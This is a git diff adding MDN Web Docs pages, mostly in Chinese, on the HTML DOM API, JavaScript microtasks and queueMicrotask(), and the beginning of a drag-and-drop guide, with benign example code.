+ +

You can read the state of the current history entry without waiting for a popstate event using the {{DOMxRef("History.state","history.state")}} property like this:

+ +
let currentState = history.state
+
+ +

See also

+ + diff --git a/files/zh-cn/web/api/html_dom_api/index.html b/files/zh-cn/web/api/html_dom_api/index.html new file mode 100644 index 0000000000..a4d13d3aac --- /dev/null +++ b/files/zh-cn/web/api/html_dom_api/index.html @@ -0,0 +1,460 @@ +--- +title: The HTML DOM API +slug: Web/API/HTML_DOM_API +tags: + - API + - Beginner + - DOM + - Documents + - Elements + - HTML DOM + - HTML DOM API + - NeedsTranslation + - Nodes + - Overview + - TopicStub + - Web + - Windows + - hierarchy +translation_of: Web/API/HTML_DOM_API +--- +

{{DefaultAPISidebar("HTML DOM")}}

+ +

The HTML DOM API is made up of the interfaces that define the functionality of each of the {{Glossary("element", "elements")}} in {{Glossary("HTML")}}, as well as any supporting types and interfaces they rely upon.

+ +

The functional areas included in the HTML DOM API include:

+ + + +

HTML DOM concepts and usage

+ +

In this article, we'll focus on the parts of the HTML DOM that involve engaging with HTML elements. Discussion of other areas, such as Drag and Drop, WebSockets, Web Storage, etc. can be found in the documentation for those APIs.

+ +

Structure of an HTML document

+ +

The Document Object Model ({{Glossary("DOM")}}) is an architecture that describes the structure of a {{domxref("document")}}; each document is represented by an instance of the interface {{domxref("Document")}}. A document, in turn, consists of a hierarchical tree of nodes, in which a node is a fundamental record representing a single object within the document (such as an element or text node).

+ +

Nodes may be strictly organizational, providing a means for grouping other nodes together or for providing a point at which a hierarchy can be constructed; other nodes may represent visible components of a document. Each node is based on the {{domxref("Node")}} interface, which provides properties for getting information about the node as well as methods for creating, deleting, and organizing nodes within the DOM.

+ +

Nodes don't have any concept of including the content that is actually displayed in the document. They're empty vessels. The fundamental notion of a node that can represent visual content is introduced by the {{domxref("Element")}} interface. An Element object instance represents a single element in a document created using either HTML or an {{glossary("XML")}} vocabulary such as {{glossary("SVG")}}.

+ +

For example, consider a document with two elements, one of which has two more elements nested inside it:

+ +

Structure of a document with elements inside a document in a window

+ +

While the {{domxref("Document")}} interface is defined as part of the DOM specification, the HTML specification significantly enhances it to add information specific to using the DOM in the context of a web browser, as well as to using it to represent HTML documents specifically.

+ +

Among the things added to Document by the HTML standard are:

+ + + +

HTML element interfaces

+ +

The Element interface has been further adapted to represent HTML elements specifically by introducing the {{domxref("HTMLElement")}} interface, which all more specific HTML element classes inherit from. This expands the Element class to add HTML-specific general features to the element nodes. Properties added by HTMLElement include for example {{domxref("HTMLElement.hidden", "hidden")}} and {{domxref("HTMLElement.innerText", "innerText")}}. HTMLElement also adds all the global event handlers.

+ +

An {{Glossary("HTML")}} document is a DOM tree in which each of the nodes is an HTML element, represented by the {{domxref("HTMLElement")}} interface. The HTMLElement class, in turn, implements Node, so every element is also a node (but not the other way around). This way, the structural features implemented by the {{domxref("Node")}} interface are also available to HTML elements, allowing them to be nested within each other, created and deleted, moved around, and so forth.

+ +

The HTMLElement interface is generic, however, providing only the functionality common to all HTML elements such as the element's ID, its coordinates, the HTML making up the element, information about scroll position, and so forth.

+ +

In order to expand upon the functionality of the core HTMLElement interface to provide the features needed by a specific element, the HTMLElement class is subclassed to add the needed properties and methods. For example, the {{HTMLElement("canvas")}} element is represented by an object of type {{domxref("HTMLCanvasElement")}}. HTMLCanvasElement augments the HTMLElement type by adding properties such as {{domxref("HTMLCanvasElement.height", "height")}} and methods like {{domxref("HTMLCanvasElement.getContext", "getContext()")}} to provide canvas-specific features.

+ +

The overall inheritance for HTML element classes looks like this:

+ +

Hierarchy of interfaces for HTML elements

+ +

As such, an element inherits the properties and methods of all of its ancestors. For example, consider a {{HTMLElement("a")}} element, which is represented in the DOM by an object of type {{domxref("HTMLAnchorElement")}}. The element, then, includes the anchor-specific properties and methods described in that class's documentation, but also those defined by {{domxref("HTMLElement")}} and {{domxref("Element")}}, as well as from {{domxref("Node")}} and, finally, {{domxref("EventTarget")}}.

+ +

Each level defines a key aspect of the utility of the element. From Node, the element inherits concepts surrounding the ability for the element to be contained by another element, and to contain other elements itself. Of special importance is what is gained by inheriting from EventTarget: the ability to receive and handle events such as mouse clicks, play and pause events, and so forth.

+ +

There are elements that share commonalities and thus have an additional intermediary type. For example, the {{HTMLElement("audio")}} and {{HTMLElement("video")}} elements both present audiovisual media. The corresponding types, {{domxref("HTMLAudioElement")}} and {{domxref("HTMLVideoElement")}}, are both based upon the common type {{domxref("HTMLMediaElement")}}, which in turn is based upon {{domxref("HTMLElement")}} and so forth. HTMLMediaElement defines the methods and properties held in common between audio and video elements.

+ +

These element-specific interfaces make up the majority of the HTML DOM API, and are the focus of this article. To learn more about the actual structure of the DOM, see Introduction to the DOM.

+ +

HTML DOM target audience

+ +

The features exposed by the HTML DOM are among the most commonly-used APIs in the web developer's arsenal. All but the most simple web applications will use some features of the HTML DOM.

+ +

HTML DOM API interfaces

+ +

The majority of the interfaces that comprise the HTML DOM API map almost one-to-one to individual HTML elements, or to a small group of elements with similar functionality. In addition, the HTML DOM API includes a few interfaces and types to support the HTML element interfaces.

+ +

HTML element interfaces

+ +

These interfaces represent specific HTML elements (or sets of related elements which have the same properties and methods associated with them).

+ +
+ +
+ +

Web app and browser integration interfaces

+ +

These interfaces offer access to the browser window and document that contain the HTML, as well as to the browser's state, available plugins (if any), and various configuration options.

+ +
+ +
+ +

Form support interfaces

+ +

These interfaces provide structure and functionality required by the elements used to create and manage forms, including the {{HTMLElement("form")}} and {{HTMLElement("input")}} elements.

+ +
+ +
+ +

Canvas and image interfaces

+ +

These interfaces represent objects used by the Canvas API as well as the {{HTMLElement("img")}} element and {{HTMLElement("picture")}} elements.

+ +
+ +
+ +

Media interfaces

+ +

The media interfaces provide HTML access to the contents of the media elements: {{HTMLElement("audio")}} and {{HTMLElement("video")}}.

+ +
+ +
+ +

Drag and drop interfaces

+ +

These interfaces are used by the HTML Drag and Drop API to represent individual draggable (or dragged) items, groups of dragged or draggable items, and to handle the drag and drop process.

+ +
+ +
+ +

Page history interfaces

+ +

The History API interfaces let you access information about the browser's history, as well as to shift the browser's current tab forward and backward through that history.

+ +
+ +
+ +

Web Components interfaces

+ +

These interfaces are used by the Web Components API to create and manage the available custom elements.

+ +
+ +
+ +

Miscellaneous and supporting interfaces

+ +

These supporting object types are used in a variety of ways in the HTML DOM API; in addition, {{domxref("PromiseRejectionEvent")}} represents the event delivered when a {{Glossary("JavaScript")}} {{jsxref("Promise")}} is rejected.

+ +
+ +
+ +

Interfaces belonging to other APIs

+ +

There are several interfaces which are technically defined in the HTML specification while actually being part of other APIs.

+ +

Web storage interfaces

+ +

The Web Storage API provides the ability for web sites to store data either temporarily or permanently on the user's device for later re-use.

+ +
+ +
+ +

Web Workers interfaces

+ +

These interfaces are used by the Web Workers API both to establish the ability for workers to interact with an app and its content, but also to support messaging between windows or apps.

+ +
+ +
+ +

WebSocket interfaces

+ +

These interfaces, defined by the HTML specification, are used by the WebSocket API.

+ +
+ +
+ +

Server-sent events interfaces

+ +

The {{domxref("EventSource")}} interface represents the source which sent or is sending server-sent events.

+ +
+ +
+ +

Examples

+ +

In this example, an {{HTMLElement("input")}} element's {{domxref("HTMLInputElement.input_event", "input")}} event is monitored in order to update the state of a form's "submit" button based on whether or not a given field currently has a value.

+ +

JavaScript

+ +
const nameField = document.getElementById("userName");
+const sendButton = document.getElementById("sendButton")
+
+sendButton.disabled = true;
+// [note: this is disabled since it causes this article to always load with this example focused and scrolled into view]
+//nameField.focus();
+
+nameField.addEventListener("input", event => {
+  const elem = event.target;
+  const valid = elem.value.length != 0;
+
+  if (valid && sendButton.disabled) {
+    sendButton.disabled = false;
+  } else if (!valid && !sendButton.disabled) {
+    sendButton.disabled = true;
+  }
+});
+ +

This code uses the {{domxref("Document")}} interface's {{domxref("Document.getElementById", "getElementById()")}} method to get the DOM object representing the {{HTMLElement("input")}} elements whose IDs are userName and sendButton.  With these, we can access the properties and methods that provide information about and grant control over these elements.

+ +

The {{domxref("HTMLInputElement")}} object for the "Send" button's {{domxref("HTMLInputElement.disabled", "disabled")}} property is set to true, which disables the "Send" button so it can't be clicked. In addition, the user name input field is made the active focus by calling the {{domxref("HTMLElement.focus", "focus()")}} method it inherits from {{domxref("HTMLElement")}}.

+ +

Then {{domxref("EventTarget.addEventListener", "addEventListener()")}} is called to add a handler for the input event to the user name input. This code looks at the length of the current value of the input; if it's zero, then the "Send" button is disabled if it's not already disabled. Otherwise, the code ensures that the button is enabled.

+ +

With this in place, the "Send" button is always enabled whenever the user name input field has a value, and disabled when it's empty.

+ +

HTML

+ +

The HTML for the form looks like this:

+ +
<p>Please provide the information below. Items marked with "*" are required.</p>
+<form action="" method="get">
+  <p>
+    <label for="userName" required>Your name:</label>
+    <input type="text" id="userName"> (*)
+  </p>
+  <p>
+    <label for="email">Email:</label>
+    <input type="email" id="userEmail">
+  </p>
+  <input type="submit" value="Send" id="sendButton">
+</form>
+
+ +

Result

+ +

{{EmbedLiveSample("Examples", 640, 300)}}

+ +

Specifications

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML WHATWG')}}{{Spec2('HTML WHATWG')}}WHATWG HTML Specification
{{SpecName('HTML5 W3C')}}{{Spec2('HTML5 W3C')}}No change from {{SpecName("DOM2 HTML")}}
{{SpecName('DOM2 HTML')}}{{Spec2('DOM2 HTML')}}No change from {{SpecName("DOM1")}}.
{{SpecName('DOM1')}}{{Spec2('DOM1')}}Initial definition.
+ +

Browser compatibility

+ +
+ + +

{{Compat("api.HTMLElement")}}

+
+ +

See also

+ + diff --git a/files/zh-cn/web/api/html_dom_api/microtask_guide/in_depth/index.html b/files/zh-cn/web/api/html_dom_api/microtask_guide/in_depth/index.html new file mode 100644 index 0000000000..14e1139cfc --- /dev/null +++ b/files/zh-cn/web/api/html_dom_api/microtask_guide/in_depth/index.html @@ -0,0 +1,185 @@ +--- +title: 深入:微任务与Javascript运行时环境 +slug: Web/API/HTML_DOM_API/Microtask_guide/In_depth +tags: + - 异步 + - 微任务 + - 微任务队列 + - 指南 + - 运行时 + - 高级 +translation_of: Web/API/HTML_DOM_API/Microtask_guide/In_depth +--- +

{{APIRef("HTML DOM")}}{{Draft("This page is very much a work in progress; it contains technical details that may be useful while considering using—and while using—microtasks, but it is not absolutely necessary for most people to know. Additionally, there may be errors here as this draft is just that rough. ~~Sheppy")}}

+ +

当你在调试的时候,或者在决定如何以最佳的方式为任务队列和微任务队列安排调度顺序的时候,如果你了解关于 JavaScript 运行时是如何在背后执行这一切的,那将对你的理解会非常有帮助。这就是本节涵盖的内容。

+ +

介绍

+ +

JavaScript 本质上是一门单线程语言。对于在它被设计出来的那个年代来说,这样的设计是一个很好的选择。那个时候的人们很少有多处理器计算机,并且当时也只是打算用 JavaScript 来编写少量的代码。

+ +

当然,随着时间的流逝,电脑的性能得到了飞速的提升。JavaScript 也变成了众多流行语言中的一员。许多非常受欢迎的应用或多或少都有 JavaScript 的影子。为此,找到一种可以突破传统单线程语言限制的方法变得很有必要。

+ +

自从 ({{domxref("window.setTimeout", "setTimeout()")}} 和 {{domxref("window.setInterval", "setInterval()")}}) 加入到 Web API 后,浏览器提供的 JavaScript 环境就已经逐渐开始包含了任务安排、多线程应用开发等强大的特性。了解 JavaScript 运行时是如何安排和运行代码的对了解 queueMicrotask() 会非常有作用。

+ +

JavaScript 执行上下文

+ +
+

注意:对于大多数 JavaScript 开发人员来说,这些细节并不重要。这里提供的信息只用于了解为什么微任务非常有用以及它们是如何工作的。如果你并不关心这些内容,你可以跳过这部分或者在你觉得需要的时候再倒回来查看。

+
+ +

当一段 JavaScript 代码在运行的时候,它实际上是运行在执行上下文中。下面3种类型的代码会创建一个新的执行上下文:

+ + + +

每一个上下文在本质上都是一种作用域层级。每个代码段开始执行的时候都会创建一个新的上下文来运行它,并且在代码退出的时候销毁掉。看看下面这段 JavaScript 程序:

+ +
let outputElem = document.getElementById("output");
+
+let userLanguages = {
+  "Mike": "en",
+  "Teresa": "es"
+};
+
+function greetUser(user) {
+  function localGreeting(user) {
+    let greeting;
+    let language = userLanguages[user];
+
+    switch(language) {
+      case "es":
+        greeting = `¡Hola, ${user}!`;
+        break;
+      case "en":
+      default:
+        greeting = `Hello, ${user}!`;
+        break;
+    }
+    return greeting;
+  }
+  outputElem.innerHTML += localGreeting(user) + "<br>\r";
+}
+
+greetUser("Mike");
+greetUser("Teresa");
+greetUser("Veronica");
+ +

这段程序代码包含了三个执行上下文,其中有些会在程序运行的过程中多次创建和销毁。每个上下文创建的时候会被推入执行上下文栈。当退出的时候,它会从上下文栈中移除。

+ + + +

以这种方式来使用执行上下文,使得每个程序和函数都能够拥有自己的变量和其他对象。每个上下文还能够额外的跟踪程序中下一行需要执行的代码以及一些对上下文非常重要的信息。以这种方式来使用上下文和上下文栈,使得我们可以对程序运行的一些基础部分进行管理,包括局部和全局变量、函数的调用与返回等。

+ +

关于递归函数——即多次调用自身的函数,需要特别注意:每次递归调用自身都会创建一个新的上下文。这使得 JavaScript 运行时能够追踪递归的层级以及从递归中得到的返回值,但这也意味着每次递归都会消耗内存来创建新的上下文。

+ +

JavaScript运行时

+ +

在执行 JavaScript 代码的时候,JavaScript 运行时实际上维护了一组用于执行 JavaScript 代码的代理。每个代理由一组执行上下文的集合、执行上下文栈、主线程、一组可能创建用于执行 worker 的额外的线程集合、一个任务队列以及一个微任务队列构成。除了主线程(某些浏览器在多个代理之间共享的主线程)之外,其它组成部分对该代理都是唯一的。

+ +

现在我们来更加详细的了解一下运行时是如何工作的。

+ + + +

事件循环(Event loops)

+ +

每个代理都是由事件循环驱动的,事件循环负责收集用事件(包括用户事件以及其他非用户事件等)、对任务进行排队以便在合适的时候执行回调。然后它执行所有处于等待中的 JavaScript 任务(宏任务),然后是微任务,然后在开始下一次循环之前执行一些必要的渲染和绘制操作。

+ +

网页或者 app 的代码和浏览器本身的用户界面程序运行在相同的 {{Glossary("线程")}}中, 共享相同的 事件循环。 该线程就是 {{Glossary("主线程")}},它除了运行网页本身的代码之外,还负责收集和派发用户和其它事件,以及渲染和绘制网页内容等。

+ +

然后,事件循环会驱动发生在浏览器中与用户交互有关的一切,但在这里,对我们来说更重要的是需要了解它是如何负责调度和执行在其线程中执行的每段代码的。

+ +

有如下三种事件循环:

+ +
+
Window 事件循环
+
window 事件循环驱动所有同源的窗口 (though there are further limits to this as described elsewhere in this article XXXX ????).
+
Worker 事件循环
+
worker 事件循环顾名思义就是驱动 worker 的事件循环。这包括了所有种类的 worker:最基本的 web worker 以及 shared worker 和 service worker。 Worker 被放在一个或多个独立于 “主代码” 的代理中。浏览器可能会用单个或多个事件循环来处理给定类型的所有 workder。
+
Worklet 事件循环
+
worklet 事件循环用于驱动运行 worklet 的代理。这包含了 {{domxref("Worklet")}}、{{domxref("AudioWorklet")}} 以及 {{domxref("PaintWorklet")}}。
+
+ +

多个同{{Glossary("源")}}(译者注:此处同源的源应该不是指同源策略中的源,而是指由同一个窗口打开的多个子窗口或同一个窗口中的多个 iframe 等,意味着起源的意思,下一段内容就会对这里进行说明)窗口可能运行在相同的事件循环中,每个队列任务进入到事件循环中以便处理器能够轮流对它们进行处理。记住这里的网络术语 “window” 实际上指的用于运行网页内容的浏览器级容器,包括实际的 window,一个 tab 标签或者一个 frame。

+ +

在特定情况下,同源窗口之间共享事件循环,例如:

+ + + +

这种特定情况依赖于浏览器的具体实现,各个浏览器可能并不一样。

+ +

任务 vs 微任务

+ +

一个任务就是指计划由标准机制来执行的任何 JavaScript,如程序的初始化、事件触发的回调等。 除了使用事件,你还可以使用 {{domxref("window.setTimeout", "setTimeout()")}} 或者 {{domxref("window.setInterval", "setInterval()")}} 来添加任务

+ +

任务队列和微任务队列的区别很简单,但却很重要:

+ + + +

问题

+ +

由于你的代码和浏览器的用户界面运行在同一个线程中,共享同一个事件循环,假如你的代码阻塞了或者进入了无限循环,则浏览器将会卡死。无论是由于 bug 引起还是代码中进行复杂的运算导致的性能降低,都会降低用户的体验。

+ +

当来自多个程序的多个代码对象尝试同时运行的时候,一切都可能变得很慢甚至被阻塞,更不要说浏览器还需要时间来渲染和绘制网站和 UI、处理用户事件等。

+ +

解决方案

+ +

使用 web workers 可以让主线程另起新的线程来运行脚本,这能够缓解上面的情况。一个设计良好的网站或应用会把一些复杂的或者耗时的操作交给 worker 去做,这样可以让主线程除了更新、布局和渲染网页之外,尽可能少的去做其他事情。

+ +

通过使用像 promises 这样的 异步JavaScript 技术可以使得主线程在等待请求返回结果的同时继续往下执行,这能够更进一步减轻上面提到的情况。然而,一些更接近于基础功能的代码——比如一些框架代码,可能更需要将代码安排在主线程上一个安全的时间来运行,它与任何请求的结果或者任务无关。

+ +

微任务是另一种解决该问题的方案,通过将代码安排在下一次事件循环开始之前运行而不是必须要等到下一次开始之后才执行,这样可以提供一个更好的访问级别。

+ +

微任务队列已经存在有一段时间了,但之前它仅仅被内部使用来驱动诸如 promise 这些。queueMicrotask()的加入可以让开发者创建一个统一的微任务队列,它能够在任何时候即便是当 JavaScript 执行上下文栈中没有执行上下文剩余时也可以将代码安排在一个安全的时间运行。 在多个实例、所有浏览器以及运行时中,一个标准的微任务队列机都制意味着这些微任务可以非常可靠的以相同的顺序执行,从而避免一些潜在的难以发现的错误。

+ +

更多

+ + diff --git a/files/zh-cn/web/api/html_dom_api/microtask_guide/index.html b/files/zh-cn/web/api/html_dom_api/microtask_guide/index.html new file mode 100644 index 0000000000..e2af5268a5 --- /dev/null +++ b/files/zh-cn/web/api/html_dom_api/microtask_guide/index.html @@ -0,0 +1,315 @@ +--- +title: 在 JavaScript 中通过 queueMicrotask() 使用微任务 +slug: Web/API/HTML_DOM_API/Microtask_guide +translation_of: Web/API/HTML_DOM_API/Microtask_guide +--- +

{{APIRef("HTML DOM")}}

+ +

一个 微任务(microtask)就是一个简短的函数,当创建该函数的函数执行之后,并且 只有当 Javascript 调用栈为空,而控制权尚未返还给被 {{Glossary("user agent")}} 用来驱动脚本执行环境的事件循环之前,该微任务才会被执行。 事件循环既可能是浏览器的主事件循环也可能是被一个 web worker 所驱动的事件循环。这使得给定的函数在没有其他脚本执行干扰的情况下运行,也保证了微任务能在用户代理有机会对该微任务带来的行为做出反应之前运行。

+ +

JavaScript 中的 promisesMutation Observer API 都使用微任务队列去运行它们的回调函数,但当能够推迟工作直到当前事件循环过程完结时,也是可以执行微任务的时机。为了允许第三方库、框架、polyfills 能使用微任务,{{domxref("Window")}} 暴露了 {{domxref("WindowOrWorkerGlobalScope.queueMicrotask", "queueMicrotask()")}} 方法,而 {{domxref("Worker")}} 接口则通过{{domxref("WindowOrWorkerGlobalScope")}} mixin 提供了同名的 queueMicrotask() 方法。

+ +

任务 vs 微任务

+ +

为了正确地讨论微任务,首先最好知道什么是一个 JavaScript 任务以及微任务如何区别于任务。这里是一个快速、简单的解释,但若你想了解更多细节,可以阅读这篇文章中的信息 In depth: Microtasks and the JavaScript runtime environment.

+ +

任务(Tasks)

+ +

一个 任务 就是由执行诸如从头执行一段程序、执行一个事件回调或一个 interval/timeout 被触发之类的标准机制而被调度的任意 JavaScript 代码。这些都在 任务队列(task queue)上被调度。

+ +

在以下时机,任务会被添加到任务队列:

+ + + +

事件循环驱动你的代码按照这些任务排队的顺序,一个接一个地处理它们。在当前迭代轮次中,只有那些当事件循环过程开始时 已经处于任务队列中 的任务会被执行。其余的任务不得不等待到下一次迭代。

+ +

微任务(Microtasks)

+ +

起初微任务和任务之间的差异看起来不大。它们很相似;都由位于某个队列的 JavaScript 代码组成并在合适的时候运行。但是,只有在迭代开始时队列中存在的任务才会被事件循环一个接一个地运行,这和处理微任务队列是殊为不同的。

+ +

有两点关键的区别。

+ +

首先,每当一个任务存在,事件循环都会检查该任务是否正把控制权交给其他 JavaScript 代码。如若不然,事件循环就会运行微任务队列中的所有微任务。接下来微任务循环会在事件循环的每次迭代中被处理多次,包括处理完事件和其他回调之后。

+ +

其次,如果一个微任务通过调用  {{domxref("WindowOrWorkerGlobalScope.queueMicrotask", "queueMicrotask()")}}, 向队列中加入了更多的微任务,则那些新加入的微任务 会早于下一个任务运行 。这是因为事件循环会持续调用微任务直至队列中没有留存的,即使是在有更多微任务持续被加入的情况下。

+ +
+

注意: 因为微任务自身可以入列更多的微任务,且事件循环会持续处理微任务直至队列为空,那么就存在一种使得事件循环无尽处理微任务的真实风险。如何处理递归增加微任务是要谨慎而行的。

+
+ +

使用微任务

+ +

在谈论更多之前,再次注意到一点是重要的,那就是如果可能的话,大部分开发者并不应该过多的使用微任务。在基于现代浏览器的 JavaScript 开发中有一个高度专业化的特性,那就是允许你调度代码跳转到其他事情之前,而那些事情原本是处于用户计算机中一大堆等待发生的事情集合之中的。滥用这种能力将带来性能问题。

+ +

入列微任务

+ +

就其本身而言,应该使用微任务的典型情况,要么只有在没有其他办法的时候,要么是当创建框架或库时需要使用微任务达成其功能。虽然在过去要使得入列微任务成为可能有可用的技巧(比如创建一个立即 resolve 的 promise),但新加入的 {{domxref("WindowOrWorkerGlobalScope.queueMicrotask", "queueMicrotask()")}} 方法增加了一种标准的方式,可以安全的引入微任务而避免使用额外的技巧。

+ +

通过引入 queueMicrotask(),由晦涩地使用 promise 去创建微任务而带来的风险就可以被避免了。举例来说,当使用 promise 创建微任务时,由回调抛出的异常被报告为 rejected promises 而不是标准异常。同时,创建和销毁 promise 带来了事件和内存方面的额外开销,这是正确入列微任务的函数应该避免的。

+ +

简单的传入一个 JavaScript {{jsxref("Function")}} ,以在 queueMicrotask() 方法中处理微任务时供其上下文调用即可;取决于当前执行上下文, queueMicrotask() 以定义的形式被暴露在 {{domxref("Window")}} 或 {{domxref("Worker")}} 接口上。

+ +
queueMicrotask(() => {
+  /* 微任务中将运行的代码 */
+});
+
+ +

微任务函数本身没有参数,也不返回值。

+ +

何时使用微任务

+ +

在本章节中,我们来看看微任务特别有用的场景。通常,这些场景关乎捕捉或检查结果、执行清理等;其时机晚于一段 JavaScript 执行上下文主体的退出,但早于任何事件处理函数、timeouts 或 intervals 及其他回调被执行。

+ +

何时是那种有用的时候?

+ +

使用微任务的最主要原因简单归纳为:确保任务顺序的一致性,即便当结果或数据是同步可用的,也要同时减少操作中用户可感知到的延迟而带来的风险。

+ +

保证条件性使用 promises 时的顺序

+ +

微任务可被用来确保执行顺序总是一致的一种情形,是当 promise 被用在一个 if...else 语句(或其他条件性语句)中、但并不在其他子句中的时候。考虑如下代码:

+ +
customElement.prototype.getData = url => {
+  if (this.cache[url]) {
+    this.data = this.cache[url];
+    this.dispatchEvent(new Event("load"));
+  } else {
+    fetch(url).then(result => result.arrayBuffer()).then(data => {
+      this.cache[url] = data;
+      this.data = data;
+      this.dispatchEvent(new Event("load"));
+    )};
+  }
+};
+ +

这段代码带来的问题是,通过在 if...else 语句的其中一个分支(此例中为缓存中的图片地址可用时)中使用一个任务而 promise 包含在 else 子句中,我们面临了操作顺序可能不同的局势;比方说,像下面看起来的这样:

+ +
element.addEventListener("load", () => console.log("Loaded data"));
+console.log("Fetching data...");
+element.getData();
+console.log("Data fetched");
+
+ +

连续执行两次这段代码会形成下表中的结果:

+ + + + + + + + + + + + + + + +
数据未缓存的结果(左) vs. 缓存中有数据的结果
数据未缓存数据已缓存
+
+Fetching data
+Data fetched
+Loaded data
+
+
+
+Fetching data
+Loaded data
+Data fetched
+
+
+ +

甚至更糟的是,有时元素的 data

+ +

属性会被设置,还有时当这段代码结束运行时却不会被设置。

+ +

我们可以通过在 if 子句里使用一个微任务来确保操作顺序的一致性,以达到平衡两个子句的目的:

+ +
customElement.prototype.getData = url => {
+  if (this.cache[url]) {
+    queueMicrotask(() => {
+      this.data = this.cache[url];
+      this.dispatchEvent(new Event("load"));
+    });
+  } else {
+    fetch(url).then(result => result.arrayBuffer()).then(data => {
+      this.cache[url] = data;
+      this.data = data;
+      this.dispatchEvent(new Event("load"));
+    )};
+  }
+};
+ +

通过在两种情况下各自都通过一个微任务(if 中用的是 queueMicrotask()else 子句中通过 {{domxref("WindowOrWorkerGlobalScope.fetch", "fetch()")}} 使用了 promise)处理了设置 data 和触发 load 事件,平衡了两个子句。

+ +

批量操作

+ +

也可以使用微任务从不同来源将多个请求收集到单一的批处理中,从而避免对处理同类工作的多次调用可能造成的开销。

+ +

下面的代码片段创建了一个函数,将多个消息放入一个数组中批处理,通过一个微任务在上下文退出时将这些消息作为单一的对象发送出去。

+ +
const messageQueue = [];
+
+let sendMessage = message => {
+  messageQueue.push(message);
+
+  if (messageQueue.length === 1) {
+    queueMicrotask(() => {
+      const json = JSON.stringify(messageQueue);
+      messageQueue.length = 0;
+      fetch("url-of-receiver", json);
+    });
+  }
+};
+
+ +

sendMessage()

+ +

被调用时,指定的消息首先被推入消息队列数组。接着事情就变得有趣了。

+ +

如果我们刚加入数组的消息是第一条,就入列一个将会发送一个批处理的微任务。照旧,当 JavaScript 执行路径到达顶层,恰在运行回调之前,那个微任务将会执行。这意味着之后的间歇期内造成的对 sendMessage() 的任何调用都会将其各自的消息推入消息队列,但囿于入列微任务逻辑之前的数组长度检查,不会有新的微任务入列。

+ +

当微任务运行之时,等待它处理的可能是一个有若干条消息的数组。微任务函数先是通过 {{jsxref("JSON.stringify()")}} 方法将消息数组编码为 JSON。其后,数组中的内容就不再需要了,所以清空 messageQueue 数组。最后,使用 {{domxref("WindowOrWorkerGlobalScope.fetch", "fetch()")}} 方法将编码后的 JSON 发往服务器。

+ +

这使得同一次事件循环迭代期间发生的每次 sendMessage() 调用将其消息添加到同一个 fetch() 操作中,而不会让诸如 timeouts 等其他可能的定时任务推迟传递。

+ +

服务器将接到 JSON 字符串,然后大概会将其解码并处理其从结果数组中找到的消息。

+ +

例子

+ +

简单微任务示例

+ +

在这个简单的例子中,我们将看到入列一个微任务后,会引起其回调函数在顶层脚本完毕后运行。

+ + + +

JavaScript

+ + + +

在下面的代码中,我们看到对 {{domxref("WindowOrWorkerGlobalScope.queueMicrotask", "queueMicrotask()")}} 的一次调用被用来调度一个微任务以使其运行。这次调用包含了 log(),一个简单的向屏幕输出文字的自定义函数。

+ +
log("Before enqueueing the microtask");
+queueMicrotask(() => {
+  log("The microtask has run.")
+});
+log("After enqueueing the microtask");
+ +

结果

+ +

{{EmbedLiveSample("简单微任务示例", 640, 80)}}

+ +

timeout 和微任务的示例

+ +

在这个例子中,一个 timeout 在 0 毫秒后被触发(或者 "尽可能快")。这演示了当调用一个新任务(如通过使用  setTimeout())时的“尽可能快”意味着什么,以及比之于使用一个微任务的不同。

+ + + +

JavaScript

+ + + +

在下面的代码中,我们看到对 {{domxref("WindowOrWorkerGlobalScope.queueMicrotask", "queueMicrotask()")}} 的一次调用被用来调度一个微任务以使其运行。这次调用包含了 log(),一个简单的向屏幕输出文字的自定义函数。

+ +

以下代码调度了一个 0 毫秒后触发的 timeout,而后入列了一个微任务。前后被对 log() 的调用包住,输出附加的信息。

+ +
let callback = () => log("Regular timeout callback has run");
+
+let urgentCallback = () => log("*** Oh noes! An urgent callback has run!");
+
+log("Main program started");
+setTimeout(callback, 0);
+queueMicrotask(urgentCallback);
+log("Main program exiting");
+ +

结果

+ +

{{EmbedLiveSample("timeout_和微任务的示例", 640, 100)}}

+ +

可以注意到,从主程序体中输出的日志首先出现,接下来是微任务中的输出,其后是 timeout 的回调。这是因为当处理主程序运行的任务退出后,微任务队列先于 timeout 回调所在的任务队列被处理。要记住任务和微任务是保持各自独立的队列的,且微任务先执行有助于保持这一点。

+ +

来自函数的微任务

+ +

这个例子通过增加一个完成同样工作的函数,略微地扩展了前一个例子。该函数使用 queueMicrotask() 调度一个微任务。此例的重要之处是微任务不在其所处的函数退出时,而是在主程序退出时被执行。

+ + + +

JavaScript

+ + + +

以下是主程序代码。这里的 doWork() 函数调用了 queueMicrotask(),但微任务仍在整个程序退出时才触发,因为那才是任务退出而执行栈上为空的时刻。

+ +
let callback = () => log("Regular timeout callback has run");
+
+let urgentCallback = () => log("*** Oh noes! An urgent callback has run!");
+
+let doWork = () => {
+  let result = 1;
+
+  queueMicrotask(urgentCallback);
+
+  for (let i=2; i<=10; i++) {
+    result *= i;
+  }
+  return result;
+};
+
+log("Main program started");
+setTimeout(callback, 0);
+log(`10! equals ${doWork()}`);
+log("Main program exiting");
+ +

结果

+ +

{{EmbedLiveSample("来自函数的微任务", 640, 100)}}

+ +

See also

+ + diff --git a/files/zh-cn/web/api/html_drag_and_drop_api/drag_operations/index.html b/files/zh-cn/web/api/html_drag_and_drop_api/drag_operations/index.html new file mode 100644 index 0000000000..c3ef002240 --- /dev/null +++ b/files/zh-cn/web/api/html_drag_and_drop_api/drag_operations/index.html @@ -0,0 +1,319 @@ +--- +title: 拖拽操作 +slug: Web/API/HTML_Drag_and_Drop_API/Drag_operations +tags: + - HTML5 + - drag and drop + - 拖动 + - 拖拽 + - 拖放 + - 指南 + - 放置 +translation_of: Web/API/HTML_Drag_and_Drop_API/Drag_operations +--- +

{{DefaultAPISidebar("HTML Drag and Drop API")}}

+ +

本文描述了拖放操作中发生的步骤。

+ +

本文档中描述的拖动操作使用 {{domxref("DataTransfer")}} 接口。本文档不使用 {{domxref("DataTransferItem")}} 接口和 {{domxref("DataTransferItemList")}} 接口。

+ +

可拖拽(draggable)属性

+ +

在一个网页中,有几种特定情况会使用默认拖拽行为,其中包括拖拽选中文本、拖拽图像和拖拽链接。当一个图像或链接被拖拽时,图像或链接的 URL 被设定为拖拽数据。对于其他元素,只当它们是被选中的一部分时,才会触发默认拖拽行为。如果想看看拖拽实际的样子,可以选中网页的一部分,然后按住鼠标,拖动选中的目标。选中的部分根据系统的不同会有不同的渲染效果,并在拖拽时跟随着鼠标指针。然而,这只是默认拖拽行为的效果,此时没有监听程序调整拖拽数据。

+ +

